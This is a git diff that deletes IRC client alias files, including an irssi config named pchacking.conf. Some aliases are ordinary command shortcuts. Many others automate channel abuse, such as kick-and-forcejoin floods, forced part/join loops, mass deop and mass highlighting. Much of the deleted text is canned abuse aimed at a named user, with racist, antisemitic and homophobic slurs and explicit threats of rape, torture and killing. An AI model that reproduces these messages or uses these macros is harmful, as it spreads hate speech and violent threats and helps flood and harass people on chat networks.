-kickflood = "exec -o sed 's@^@/quote kick $channel $1 :@\;s@$@\n/forcejoin $1 $channel@' ascii/*/"$2-""
-kiss = "play -fmt $1 pp4l/kissyou"
-kkrop = "masshl /mode +o-b %n 1,1!*@0Welcome1.0to1.0the1.0Krusty1.0Krab"
-ko = "kloeri knockout"
-kset = "kloeri set"
-link = "exec -o bin/linkgen.sh"
-loljk = "say lol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JK"
-m = "msg"
-mail = "n $channel You have unread messages from another user! Type /server mail read to read them."
-mdeop = "deop *"
-mdevoice = "devoice *"
-merge = "buffer merge"
-mike = "kline $1 same"
-mirc = "say 0000010102020303040405050606070708080909101011111212131314141515"
-mircgold = "say You must have a mIRC 8,7GOLD account to view this message."
-mop = "op *"
-mv = "buffer move"
-mvoice = "voice *"
-n = "notice"
-nctcp = "notice $1 $2-"
-nfj = "notice $1 You were forced to join $channel"
-nickmsg = "exec -pipe /nick for i in $*\; do echo $i\; done"
-niggas = "say niggas aint be real but that just be how it do"
-offend = "msg * $1: I feel offended by your recent action(s). Please read http://stop-irc-bullying.eu/stop"
-operation = "play -fmt "$*" operation"
-oslap = "me slaps $1 around a bit with $2-."
-oven = "exec -o bin/oven/oven"
-p = "part"
-pants = "say Has anyone seen my pants? They were last seen at JFK International Airport in New York last night and I miss them already. Please contact baggage claim if you've seen them and tell them to send the pants to Rochester International Airport where JetBlue is looking for them."
-pooname = "exec -o bin/pooname.pl"
-popart = "es for i in `seq 1 $1`\; do echo "$(( $RANDOM % 16 ))$2-"\; done"
-portscans = "say Someone from the address "$1" has been performing port scans and other malicious things on my computer such as DoS attempts and intrusion attempts wich in turn has made my internet speed drop because this person is doing it so much and it is just destroying my bandwidth. Please tell them to stop. No, actually, force them to stop. This e-mail address showed up when I back traced the IP address and preformed a whois search on it. If you are not responsible for the actions of this person, please ignore this e-mail. If nothing is done about it, keep this in mind: I'm a 15 year old hacker with alot of time on my hands. Therefore, if you don't stop this person, I will. I just thaught I would go about it the right way before I did anything."
-pre = "$1 $2$channel $3-"
-pump = "say I occasionally pump whilst I'm driving, particularly on long journeys in the car. That way, when I get into meetings, I have a HUGE bulge in my suit and like to watch everyone's eyes - guys and women!! It never fails to get some kind of reaction!!! -- MegaPumper"
-Q = "query"
-quiet = "kloeri quiet"
-r-pair = "eval /set plugins.var.python.text_replace.replacement_pairs "${plugins.var.python.text_replace.replacement_pairs}\;$1=$2-""
-r-word = "eval /set plugins.var.python.text_replace.replacement_words "${plugins.var.python.text_replace.replacement_words}\;$1=$2-""
-ra = "play -pipe "/prism -c ` /say ` ""
-rato = "play -pipe "/prism -c ` /say `$1:" $2-"
-raw = "quote"
-rc = "reconnect"
-rclop = "ryiff -clops"
-reason = "kloeri reason"
-redraw = "color reset;window refresh"
-rejoin = "exec -o for i in `seq 1 $2` \; do echo "/forcepart $1 $channel"\; echo "/forcejoin $1 $channel"\; done"
-reverse = "exec -o python -c 'print "$*"[::-1]'"
-ri = "repeat -interval"
-rot13 = "exec -o echo "$*" | tr a-zA-Z n-za-mN-ZA-M"
-rslap = "me slaps $1 around a bit with a large 4r7a8i3n12b2o6w 7t8r3o12u2t6."
-s = "buffer server.$1"
-sadmac = "say سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ"
-say = "msg *"
-sc = "mute autojoin --run;mute save;print Channels and options saved"
-set_append = "eval /set $1 "\${$1},$2-""
-shrug = "exec -o echo '¯\_'`echo '㋛ ㋡ (˙͜>˙) (ツ) (シ) (ベ) (じ) (ぐ) (ヾ) (ゞ) (:^))' | tr \  "\n" | shuf | head -1`'_/¯'"
-sj = "server jump"
-slap = "me slaps $1 around a bit with a large trout."
-sln = "ison q w e r t y u i o p { };print [           ] q w e r t y u i o p { };ison a s d f g h j k l ~ [ ];print [           ] a s d f g h j k l ~ [ ];ison z x c v b n m _ ^ ` \ |;print [           ] z x c v b n m _ ^ ` \ |"
-space = "exec -o python3 -c 'print( " ".join("$*") )'"
-spy = "eval can $server see what i do on my computer"
-sslap = "exec -pipe "/oslap $1" bin/fish.sh"
-style = "eval -s /set plugins.var.python.colo.fgs "\${plugins.var.python.colo.$1_fgs}"\;/set plugins.var.python.colo.bgs "\${plugins.var.python.colo.$1_bgs}"\;/set plugins.var.python.colo.fmt "\${plugins.var.python.colo.$1_fmt}""
-styledis = "set_append plugins.var.python.colo.ignore_buffers $server.$channel"
-sub = "kline $1 :problematic subnet, ask irc@volatile.ch for an exemption"
-supernets = "say yeh $1 just wait till i get a supernets then enough http requests then boom"
-t = "topic"
-ta = "play -pipe /topic"
-think = "me .oO( $1- )"
-timeout = "buffer notify none; wait 60m /buffer notify reset"
-tkline = "kloeri tkline"
-tmyk = "say 2The 12More 6You 13Know 5=7=8=9=11=12=2=8☆"
-train = "kick $1 ran over with a train 4/2[o o]3[o o]2[o o]3[o o]2[o o]3[o o]4\"
-ub = "unban"
-ubr = "exec -o echo /unban {$1..$2}"
-umode = "mode $nick"
-unakill = "trigger del akill_$1"
-undim = "trigger del dim_$server_$1; print \---\t$1 is no longer dimmed"
-unfuck = "mute python unload colo"
-urgay = "ato $* youaregay"
-urslow = "exec -o head -n17 ascii/pp4l/youaregay | sed s/^/$1:\ /\; sleep 1\; head -n33 ascii/pp4l/youaregay | tail -n16 | sed s/^/$1:\ /\; sleep 1\; tail -n17 ascii/pp4l/youaregay | sed s/^/$1:\ /"
-v = "ctcp $1 version"
-volatile = "say You are invited to 4>13>8> 6irc.5volatile6.ch 8<13<4< colour nicks, no fake lag, fun for all"
-w = "who"
-wc = "buffer close"
-wcon = "es wcon -color irc -pbw 10"
-webirc = "exec -pipe "/exec host" python -c 'print ".".join(str(int("$1"[i:i+2],16)) for i in xrange(0,8,2))'"
-whisper = "mute /notice $1 [$channel] $2-;/print \-\tPvNotice($1): $2-"
-wi = "whois"
-wii = "whois $1 $1"
-wiki = "exec -o LANGS=(en chr dv km glk ka he ms fa ba ru sa ta zh-yue ur hy kn ml ne war bh gu tg wuu or arc mzn lo pnb got bo as ti cr xmf tcy)\;wget -q -O- "https://${LANGS[$RANDOM % ${#LANGS[@]}]}.wikipedia.org/wiki/Special:Random" | pup title | sed '2!d\;s|^ \(.*\) [-–—] .*$|\1|g'"
-wraith = "exec -pipe "/mode +o-b $1" echo `head -c 2 /dev/urandom | base64 | tr -d =`'!'`head -c 3 /dev/urandom | base64`'@'`head -c 16 /dev/urandom | base64`"
-wv = "command core version"
-ww = "whowas"
-xra = "play -pipe "/prism -xc ` /say ` ""
-xyzzy = "print Nothing happens"
-
-[completion]
diff --git a/irc/alias/pchacking.conf b/irc/alias/pchacking.conf
@@ -1,467 +0,0 @@
-aliases = {
-  # {{{ client shortcuts
-  sb = "scrollback";
-  slo = "script load ~/.irssi/scripts/$*";
-  wk = "window close";
-  ws = "window new";
-  wn = "window new hide";
-  wim = "window item move $*";
-
-  # {{{ IRC commands
-  j = "join";
-  t = "topic";
-  wi = "whois $0 $0";
-  ww = "whowas";
-  um = "mode $N";
-  k = "kick";
-  b = "ban";
-  ub = "unban";
-  kb = "kickban";
-  kn = "knockout";
-  lock = "mode $C +ilkm 1 lolol";
-  unlock = "mode $C -milk";
-  judify = "mode $C +ilkm 1 lolol ; kick $* lol";
-  q = "query";
-  m = "msg";
-  say = "msg *";
-  amsg = "foreach channel";
-  chat = "dcc chat";
-
-  # {{{ services
-  cs = "msg ChanServ $*";
-  ns = "msg NickServ $*";
-  ms = "msg MemoServ $*";
-  hs = "msg HostServ $*";
-  os = "msg OperServ $*";
-
-  # {{{ .irssi/{scrollz,crapflood}
-  tcat = "exec - cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
-  tscroll = "exec - -out cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
-  tcrap = "exec - -out cat $HOME/.irssi/crapflood/$* 2>/dev/null \\; sleep 42";
-  tansi = "tscroll ansi/$*";
-  tascii = "tscroll ascii/$*";
-  tbird = "tscroll birds/$*";
-  tart = "tscroll ircart/$*";
-  tp0r = "tscroll p0r/$*";
-  tsong = "tscroll songs/$*";
-  tstory = "tscroll stories/$*";
-  tposter = "tscroll poster/$*";
-  tx1 = "tscroll xxsart/$*";
-  tx2 = "tscroll xscii/$*";
-  txl = "tscroll xxlart/$*";
-
-  # {{{ slowcat
-  slowc = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 $* 2>/dev/null \\; sleep 42";
-  glowc = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat $* 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
-  slowt = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 ~/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
-  glowt = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat ~/.irssi/scrollz/$* 2>/dev/null 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
-
-  # {{{ scripts wrappers
-  813 = "exec - -o perl ~/.irssi/scripts/stand/813.pl $* 2>/dev/null";
-  234 = "exec - -o perl ~/.irssi/scripts/stand/234.pl $* 2>/dev/null";
-  bart = "exec - -out echo \"$*\" | awk -f ~/.irssi/scripts/stand/bart.awk 2>/dev/null";
-  gridsify = "exec - -o echo \"$*\" | awk -f ~/.irssi/scripts/stand/grids.awk 2>/dev/null";
-  boners = "exec - -o perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
-  gboners = "gayexec -1 perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
-  poll = "exec - -o $HOME/.irssi/scripts/stand/poll.sh $*";
-  randmatix = "exec - -o $HOME/.irssi/scripts/stand/randmatix.sh $*";
-  terror = "exec - -o perl ~/.irssi/scripts/stand/terror.pl";
-  gterror = "gayexec -1 perl ~/.irssi/scripts/stand/terror.pl";
-  cow = "gay -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
-  cowf = "gay -cow -cowfile $HOME/.irssi/cows/$0 $1-";
-  gcow = "gay -1 -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
-  gcowf = "gay -1 -cow -cowfile $HOME/.irssi/cows/$0 $1-";
-  fig = "exec -o echo \"$*\" | figlet 2>/dev/null";
-  cfig = "ascii -c $*";
-  hfig = "exec -o echo \"$*\" | figlet -f ivrit -C ilhebrew 2>/dev/null";
-  ghfig = "gay -1 -font ivrit -YES -fig \"$*\"";
-  tcl = "exec -o echo \"$*\" | tclsh";
-  stcl = "exec echo \"$*\" | tclsh";
-  rot13 = "exec -o echo \"$*\" | tr a-zA-Z n-za-mN-ZA-M 2>/dev/null";
-  greek = "exec -o python $HOME/.irssi/scripts/stand/greek.py $*";
-  ggreek = "gayexec -1 python $HOME/.irssi/scripts/stand/greek.py $*";
-
-  # {{{ unsorted
-  tag = "script exec Irssi::server_find_tag('$0')->command('$1-');";
-  bop = "oper tscroll osamabigmatixjudaism";
-
-  # {{{ /!\ ACHTUNG /!\
-  attn1 = "say \037\0034/\0038!\0034\\\\\037 \0039ACHTUNG:\0039 \0038$0-\003 \037\0034/\0038!\0034\\\\\037";
-  attn2 = "say \0036\037/\0038!\0036\\\\\037\003 \0039ACHTUNG: \0038$* \0036\037/\0038!\0036\\\\\037";
-  attn3 = "say  \0038\037/!\\\\\037\003 \002$*\002 \0038\037/!\\\\\037\003";
-  attn4 = "say \00314,8 \037/!\\\\\037 \003 \0034$* \00314,8 \037/!\\\\\037 \003";
-  attn5 = "say \00314,7\037/!\\\\\037 $* \037/!\\\\\037\037";
-  attn6 = "say \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\\037  \00314,8$0- \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\";
-  attn7 = "say \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037 \0038,8 \0034,8\037$*\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 ";
-  attn8 = "say \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 ";
-  attn9 = "say \0038,5/\037!\037\\\\ DANGER: $* /\037!\037\\\\";
-  attn10 = "say \0030,4 (X) ATTENTION (X) \003 \002$*";
-  attn11 = "say \0031,8 \037/!\\\\\037 \0034,8WARNING: $*\0031,8 \037/!\\\\\037 ";
-  attn12 = "say \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 \0038,4 $* \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 ";
-  attn13 = "say \00314,8 \037/!\\\\\037 \00314,4 ERROR \003\002 $*  ";
-  attn14 = "say \0038,4 /!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  $*  \0038,4/!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  ";
-  jewlert = "say \00312,0* JEWLERT -> \003 \002$*\002 \00312,0 <- JEWLERT *";
-  gaylert = "say \00313,11GAY ALERT! B======>\037 $* \037<======B WATCH HIM EAT COCK!";
-  fishlert = "say <¸.·`¯`·.¸¸.·`¯`· $* ·`¯`·.¸¸.·`¯`·.¸>";
-
-  # {{{ #:) lolle (:#
-  lolle1 = "say \002\0031,1#\0030,5:\0034,5)\003\002 \0030,1\002 $* \002\003 \002\0034,5(\0030,5:\0031,1#\003\002";
-  lolle2 = "say \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!\003 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!";
-  lolle3 = "say \0039\037\\\\|/\037\003 $* \0039\037\\\\|/";
-  lolle4 = "say $* has a degree in assfistology.  \0031,1   \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5o\0030,5:\0031,1.";
-  lolle5 = "say There are no niggers in the gay paradise of mexico.  \0031,1   \0038,1boger for president 2008           \0031,1.";
-  lolle6 = "say \0034,1=/#=\0030,1 $* \00312,1=/#=";
-  lolle7 = "say LOL ---> $* <--- LOL";
-  lolle8 = "say \0034,5(\003\0030:\00314-  \00313$*\003  \00314-\0030:\0034,5)";
-  lolle9 = "say \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017\017 $* \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017";
-  oven1 = "say $* ---> :( |___| <--- oven";
-  oven2 = "say $*  \002-> oven\002";
-
-  # {{{ lump u out
-  lump = "say $* u dont even know me kid shut the fuck up hidin behind your computer i'd fuckin lump u out if you fronted on me like that in person";
-  lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
-  lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
-  lump4 = "say hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
-  lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
-  lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
-  lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
-  lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
-  lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
-  lump10 = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
-  lump11 = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
-  lump12 = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
-  lump13 = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
-  lump14 = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
-  lump15 = "say $* u think ur music impresses me? ur wrng nigr u dont know how srsly i take the internets if ur a real man gimme ur addy an ill come and rape ur momy and beat the living sht out of u";
-  lump16 = "say $* why aren't u talking u got scared? this isn't nothing nigr u havent seen the real me yet. u keep hiding behind ur computr dat won't stp me frm comin and beating ur up u messed with the wrng guy.";
-
-  # {{{ other lumps
-  ohsix = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case. ";
-  ohsix2 = "say $* just shut the fuckup is not your fucking business you mother fucking asshole stupid shit! fucking idiot mother fucker";
-  ohsix3 = "say $*: I think you have low selfesteem because you have small \"woodies\", is that right, or are you sad, like having blisters around the anal rectum, dont use a wooden bat like you are used too =P";
-  ballsac = "say $* stfu u lmr u dont know nuthin yet if u type one more wrd ill fuckin rape u and throw u in a toilet";
-  ballsac2 = "say don't ignore my msgs $* u filthy liar u dont know who ur messing wit here man u've done it now. u dont know how srsly i take this internet shit im gonna find out where u live in beat u up. then fuck ur momy while u watch";
-  pign = "say $*: Congratulations, prick, you've just made my ignore list. Was it worth it to you to make your \"witty\" comments and snide in-jokes to your irc pals about me if it meant you are now disappeared from my online experience? Have a nice life.";
-  pign2 = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case.";
-
-  # {{{ vap0rrip
-  p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
-  p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
-  p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
-  p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
-  p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
-  p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
-  p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
-  p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
-  p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
-  p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
-  p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
-  p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
-  p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
-
-  # {{{ :) :D :P
-  moon = "say \0033<\0030:\0039P";
-  moon2 = "say \0030<\00314:\0034,0)\003 \002K\002OOL \002K\002OMEDY \002K\002LOWNS  \0033M\0034O\0035O\0036N \0037P\0038A\0039N\00310T\00311Y \00312F\00313L\00314A\00313S\00312H  \0034,0(\003\00314:\0030>";
-  moon3 = "say \00314`\0033'\0039\\;\0033.\00314_\0033\\;\0039'\0033`\0030@\00314>  \0033moon \0039snake ";
-  f1re = "say \0034:\0039-O \0034,9WATERMELON BUBBA";
-  f1re2 = "say \0034:\00312`\0036(";
-  vp = "say \0034>\00314:\003\0032D\00314#";
-  vp2 = "say \0039]\0030\\;\0035P\00311>";
-  vp3 = "say  \0034*\0038(\00311:\0030]";
-  vp4 = "say \0034>\0030:\0034#";
-  vp5 = "say \0033~\00314B\0034}";
-  vp6 = "say \00311>\0030:\0038)";
-  vap0r = "say \0033>\0034:\00311`\00313(\0035~";
-  vap0r2 = "say \00313>\00311:`\0039(\0032~";
-  vap0r3 = "say \00311//\0034:\00313|\0035>\0030~";
-  vap0r4 = "say \0034>\00314:\0034-|\0030E ";
-  vap0r5 = "say \00311(\0030\\;\00311>";
-  vap0r6 = "say \00313>\00311=\0030()";
-  vap0r7 = "say \00313]\0030:\00313||\0030>";
-  vap0r8 = "say @\0034,0:\00315,2)";
-  vap0r9 = "say \0034>\0030:\0034>";
-  vap0r10 = "say \0035>>\0030[]^\0034:\00313<";
-  vap0r11 = "say \0034:\00313]\00314~";
-  vap0r12 = "say \00314{\0030=\0033< ";
-  vap0r13 = "say \0034(\0035:\0030=";
-  vap0r14 = "say \0030{\00313:\0032>";
-  vap0r15 = "say \00313-\0034:[\0030=\0034]";
-  vap0r16 = "say \00313*\0030(\0033:\0034]";
-  vap0r17 = "say \00311:\0032{\0030=\0032}\00314>";
-  vap0r18 = "say \0036}\0030:\0036<";
-  gtfo = "say gtfo\002(_\0034o\003_)";
-  nigger = "say \0034:\0039()";
-  robot = "say \00312>\0034=\0035,2[";
-  DDD = "say \0033<\0030:\0039D\0033D\00314D\0033~ \0039$*";
-  nanifish = "say \00314>\0039(\0033/\0035/\0034/\0036/(\00313|*\0036)\\\0035\\\0030@\0039)";
-  gayfish = "say \00313<\0030@\0034\\\\\0035\\\\\0037\\\\\0038\\\\\0039\\\\\00312\\\\\00313>\0036<\00313<\0036< ";
-  f1refish = "say \0034>\0035>\0038>\0037<\0035O\0034O\0037O\0038O\0034O\0038O\0037O\0034@\0035>";
-  blancfish = "say \00314>\00315>\0030<\00311/\0030/\00315/\00314/\00315/\0030\00311@\0030>";
-  cripplefish = "say \00314>\0037>\0038<\0037/\0038/\0034\\\\\0037/\0035\\;\0037/\0038\\\\\0034 \0037/\0030@\0038>\003   ---\002(\002 i like ur hair btw \002)";
-  melalien = "say \0034,9*(:] MELALIEN";
-  xtcfish = "say \00314>\00311>\00312>\0032(\00314/\00311/\00312/\0032/\00314/\00311:\00312D\0032D\0034D\0035D\0037D\0039D";
-
-  # {{{ albot
-  albot1 = "say \0034,1 Burrow \003\00312,8 not \003\0039,12 gudrow \003\00313,1 has \003\00311,13 hard \003\0039,1 constipation \0038,4 in \0034,1 in \0031,13 smelly \0039,1 drink \0038,4 gudrow \00312,11 not \0038,1 sucks \0031,13 smelly \0039,1 smelly \0031,13 smelly \0039,1 is \0038,4 bonanza, \00312,11 agatha. \0038,1 A \0031,13 smelly \0039,1 turd! \0038,4 Lick \0034,1 the \0031,13 lavatory. \0039,1 And \0038,4 constipation \00312,11 boner \0038,1 fast \0031,13 \0039,1 \0038,1()\0031,1-\0031,0¤\0031,1-\0030,1  i'm going to get fucked by horses. ";
-  albot2 = "say \0034,1 Doctor \003\00312,8 that \003\0039,12 burger \003\00313,1 plop \003\00311,13 gudrow's \003\0039,1 tardcraft's \0038,4 constipation, \00312,11 gudrow \0038,1 shits \0031,13 lavatory. \0039,1 And \0038,4 shit! \00312,11 Uncle \0038,1 with \0031,13 gudrow's \0039,1 smelly \0038,4 hat \00312,11 shit \0038,1 hot \0031,13 little \0039,1 smelly \0031,13 lavatory. \0039,1 And \0031,13 smelly \0039,1 gudrow's \0031,13 calzone \0039,1 shit \0038,1 traun's \0031,13 lavatory. \0039,1 And \0038,4 god, \00312,11 poo \0038,1 \0031,13 \0039,1 \0038,1¡\0031,1 \0038,4.";
-  albot3 = "say \0039,12 my \003\00313,1 plop \003\00311,13 hat \003\0039,1 constipation \0038,4 that's \0034,1 fat gay canadian tv. ";
-  albot4 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
-  albot5 = "say \0034,1 Gay \003\00312,8 tardcraft's \003\0039,12 festival \003\00313,1 real \003\00311,13 hat \003\0039,1 constipation \0038,4 a \00312,11 not \0038,1 big \0031,13 little \0039,1 turd. ";
-  albot6 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
-  albot7 = "say \00309,01 hey \00312,10 $* \00311,03 im \00308,04 6`6 \00311,03 15lbs \00309,01 sexy \00308,04 as \00311,12 goon \00308,04 justice \00311,03 an \00301,13 im \00308,04 single \00312,10 lookin \00309,01 fa \00308,04 da \00308,01 right \00301,13 slavs \00312,10 ta \00308,01 cannibalize, \00311,03 so \00308,01 if \00312,10 u \00309,01 liken \00308,01 wat \00311,12 u \00312,10 see \00308,04 bench \00308,01 press \00311,12 at \00309,01 me \00311,03 an \00312,10 well \00308,04 do \00311,03 da \00309,01 full \00301,13 frontism ";
-  albot8 = "say \00311,12 hey \00301,13 $* \00312,10 im \00301,13 5`6 \00309,01 62lbs \00308,01 sexy \00301,13 as \00308,04 juxtapozinged \00301,13 an \00312,10 im \00308,01 single \00311,12 lookin \00308,04 fa \00301,13 da \00311,03 right \00309,01 7-11 \00308,01 employees \00309,01 ta \00301,13 pickle, \00311,03 so \00312,10 if \00308,04 u \00311,12 liken \00308,04 wat \00309,01 u \00312,10 see \00309,01 wash \00301,13 at \00309,01 me \00308,04 an \00311,12 well \00308,01 do \00308,04 da \00301,13 cock \00311,03 to \00312,10 cock ";
-  albot9 = "say \0034,1 A \003\00312,8 gay \003\0039,12 shitty \003\00313,1 deadly \003\00311,13 army \003\0039,1 and \0031,13 smelly \0039,1 shit \0038,4 with \00312,11 hung \0038,1 good \0031,13 smelly \0039,1 shit \0038,4 for \00312,11 mom. \017";
-
-  # {{{ buttes
-  rune = "say FUCK $*\\; $* SUX\\; $* IS DYING\\; $* IS DEAD TO ME\\; $* HIT WTC";
-  unrune = "say <3 $*\\; $* DOES NOT SUCK\\; $* IS NOT DYING\\; $* IS NOT DEAD TO ME\\; $* DID NOT HIT WTC";
-  chirpn = "say mup da doo didda po mo gub bidda be dat tum muhfugen bix nood cof bin dub ho muhfugga";
-  incog = "say \0037,0$*";
-  masturbate = "say \026TWO FOUR SIX EIGHT GRAB YOUR DICKS AND MASTURBATE";
-  bust = "say @@@ MACRO BUSTER @@@";
-  ror = "say \0034,8^_^\003 \0034,0KOREAN RAUGH OUT ROUD\003 \00311kekeke";
-  chinee = "say \0031,9---|==|=:<\003 \002YUMMY CHINEE";
-  clocodile = "say \0031,8'_'\003 \002OH NO CLOCODILE";
-  clocodile2 = "say \0031,8^_^\003 \002YUMMY CLOCODILE";
-  blax = "say AROUND BLAX, NEVER RELAX";
-  butte = "say COCKES IN THE BUTTE, URMOM IS A SLUTTE";
-  coqarc = "say \002\0034,12IF WE TOUCH DICKS THERE WILL BE AN ARC";
-
-  # {{{ actions
-  melon = "me is on $* like \002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5)\003\002 NIGGERS \002\0034,5(\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002 on \002\0039,3|\0031,4WATAMELONS\0039,3|\003\002!";
-  poz = "say \002\0031,1-\0030,5\\;\0034,5)\003\002 \0031,8\002 \037/!\\\\\037\002 I am be shootin \002ULTRA-CREAMY NIGGER POZ\002 at $* as though he be a white wimmin! \002\037/!\\\\\002\037 \003 ~\0036+\003 ~\0034+\003 ~\0037+\003\002 $* \002\0038+\003~ \0039+\003~ \00312+\003~ \0030,1\002*SPLAT!*\002\003 WELCOME TO \002\0031,4G\0031,7R\0031,8I\0031,9D\0031,12S\003\002, SWEETIE! \002\0031,1-\0030,5:\0034,5P\003\002 \0039,9OI\0031,1vera \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5O\0030,5:\0031,1-\003\002 ";
